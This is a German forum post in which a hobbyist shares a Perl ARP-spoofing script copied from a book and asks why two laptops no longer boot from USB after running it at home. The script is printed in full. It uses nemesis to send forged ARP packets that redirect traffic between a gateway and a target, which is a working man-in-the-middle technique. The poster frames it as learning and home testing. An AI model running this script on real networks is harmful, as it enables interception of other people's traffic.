Hallo miteinander,
gleich vorweg: ich hab 3 Notebooks und diese haben alle mind. irgendeine Linux-Installation (ubuntu, lubuntu, mint... alle zum Testen), die ich alle selbst per USB-Stick installiert habe. Hat also schon des Öfteren funktioniert.
*** Vorgeschichte Anfang *** Gestern wollte ich mit zweien davon dieses Skript ausprobieren:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | #!/usr/bin/perl $gateway = shift; $target = shift; $time = shift; $device = shift; $i = 1; $SIG{INT} = \&quit; # Plausibilität der Argumente prüfen if($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/) { die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n"); } if($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/) { die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n"); } if($time=~/^$/) { $time = 10; print("[-] Intervall unbekannt, nehme 10 Sekunden. \n"); } if($time!~/^[0-9]+$/) { die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n"); } if($device=~/^$/) { $device = '18:db:f2:05:4e:b1'; print("[-] Netzwerkkarte unbekannt, nehme eth.\n"); } # Die MAC-Adressen des Gateways und Ziels ermitteln print("[+] das Echo-Kommando wird an $gateway geschickt.\n"); system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null"); print("[+] Das Echo-Kommando wird an $target geschickt. \n"); system("ping -c 1 -w 1 $target 2>$1 > /dev/null"); # Die Pakete wurden verschickt, die MAC-Adressen können ermittelt werden print "[+] MAC-Adressen werden aus dem ARP-Cache ermittelt. \n"; $gateway_mac = qx[arp -na $gateway]; $gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17); $target_mac = qx[arp -na $target]; $target_mac = substr($target_mac, index($target_mac, ":")-2, 17); # Sind die MAC-Adressen plausibel if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) { die("[!] Die MAC-Adresse vom $gateway konnte nicht ermittelt werden."); } if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) { die("[!] Die MAC-Adresse vom $target konnte nicht ermittelt werden."); } # die eigene IP und MAC ermitteln print "[+] Eigene IP und MAC wird mittels ifconfig ermittelt.\n"; @ifconf = split(" ", qx[ifconfig $device]); $you = substr(@ifconf[6],5); $you_mac = $ifconf[4]; print "[+] Invervall in Sekunden in dem die Pakete verschickt werden: $time.\n\n"; print "-> Ich: $you[$you_mac]\n"; print "-> Ziel: $target [$target_mac]\n"; print "-> Gateway $gateway [$gateway_mac]\n\n"; # ARP-Pakete werden versendet while($i) { print "[+] Ich schicke ein ARP-Paket, sag dem $target, dass $gateway unter der MAC-Adresse erreichbar ist: $you_mac\n"; system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null"); print "[+] Ich schicke ein ARP-Paket, sag dem $gateway, dass $target unter der MAC-Adresse erreichbar ist: $you_mac\n"; system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null"); sleep $time; } # CTRL-C wurde gedrückt, der ursprüngliche Zustand wird wiederhergestellt sub quit { $i = 0; print "[-] Programmende. Der ursprüngliche ARP-Zustand wird wieder hergestellt.\n"; system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null"); print "[+] Ich schicke ein ARP-Paket, sag dem $gateway, dass $target unter der MAC-Adresse erreichbar ist: $you_mac\n"; system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null"); } |
Das hab ich mir nicht selbst zusammengebastelt (wenn ich das könnte, dann könnte ich mir wahrscheinlich auch selbst helfen), sondern aus einem Buch abgetippt. Ja, naiv, ich weiß, aber die Kundenmeinungen bei amazon zu dem Buch waren hervorragend, keiner hat von Problemen geschrieben und daher bin ich nicht davon ausgegangen, dass es zu irgendeinem Problem kommen könnte. Und bevor jemand fragt: nein, ich will nicht hacken lernen (mit Ü40 ist man aus dem Alter schon raus), sondern es verstehen und mit meinen Rechnern hier daheim zumindest testen. Gestartet hab ich das Skript von Nr. 1 und die IP-Adressen von Nr. 1 (dell) und Nr. 2 (acer) verwendet und dann die Meldung erhalten, dass irgendwo ein Fehler im Quellcode sein soll. Dann x-mal mit dem Original-Code verglichen und beim besten Willen keinen Tippfehler gefunden und damit war für mich die Sache erledigt. *** Vorgeschichte Ende ***
Jetzt wollte ich auf Nr. 2 noch ein debian installieren und hab mit Erschrecken festgestellt, dass keines der beiden NBs mehr vom USB-Stick bootet. Auf dem Stick ist ein Puppy-Linux mit dem ich normalerweise die Partionen änder, bevor ich ein neues Linux installiere. Dieser Stick bootet aber noch auf Nr.3 (auch ein acer und gerade nochmal getestet) und auf den anderen beiden hat er vor ein paar Tagen auch noch seinen Soll erfüllt. Nun hab ich bei Nr.2 im BIOS gesehen, dass der Stick gar nicht mehr erkannt wird, bei Nr. 1 aber immerhin schon noch. Außerdem kann ich die Bootreihenfolge bei Nr.2 noch so oft ändern und speichern, aber beim nächsten Reboot ist alles wieder auf Ursprung gestellt.
Hat jemand eine Idee, was ich tun kann, damit die beiden NBs wieder vom Stick booten? Die haben nämlich beide kein DVD-Laufwerk mehr...
Vorab schon mal Danke für's Lesen des Romans! muemmel_0811